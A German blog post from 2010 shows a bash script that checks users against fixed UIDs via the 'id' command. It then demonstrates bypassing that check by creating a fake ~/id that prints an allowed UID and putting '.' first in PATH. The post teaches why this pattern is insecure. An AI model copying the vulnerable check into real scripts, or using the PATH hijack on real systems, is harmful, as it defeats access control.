Security fail pt3: Userauthentifizierung über externe Kommandos

Posted on the April 14th, 2010 under hacks, howtos, tipps, wissen by stefan

Blank Facepalm  Security fail pt3: Userauthentifizierung über externe Kommandos

Tim schlug hier vor, im Vorpost etwas anderes zur Authentifizierung als $USER zu nutzen: id. Auch das ist unsicher, wenn man es falsch macht. Ich benutze hier einfach mal die UIDs statt der Usernamen. Der folgende Code wäre dann die id-Variante, wer findet das Sicherheitsproblem? ;)



#!/bin/bash
if [ "$(id -u)" != "1001" ] && [ "$(id -u)" != "1002" ]
then
echo "Zugriff verweigert."
else
echo OK
[...]
echo "$(date) Domain $1 gelöscht durch $USER" >> /var/log/domainlog
fi

Umgehen kann man es jedoch wieder trivial, man erstelle ~/id:

[stefan@srv2342 ~]$ sh authme.sh
Zugriff verweigert.
[stefan@srv2342 ~]$ echo "echo 1001" > ~/id
[stefan@srv2342 ~]$ chmod +x ~/id
[stefan@srv2342 ~]$ PATH=".:$PATH" sh authme.sh
OK
[stefan@srv2342 ~]$

Wir haben hier PATH so geändert, dass zuerst im aktuellen Pfad nach id Datei gesucht wird – die Datei haben wir grade angelegt und sie gibt aus, was das Script als Antwort sehen möchte. Whoops! ;D

Related posts:

Twitter Post | Print Post

5 Responses to 'Security fail pt3: Userauthentifizierung über externe Kommandos'

  1. Gravatar 14. April 2010 at 17:25
    raf
  2. Gravatar 14. April 2010 at 17:25
    raf
  3. Gravatar 14. April 2010 at 18:27
    Daniel
  4. Gravatar 14. April 2010 at 18:40
    stefan
  5. Gravatar 15. April 2010 at 06:09
    Dirk Deimeke

Leave a Reply




XHTML::
<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>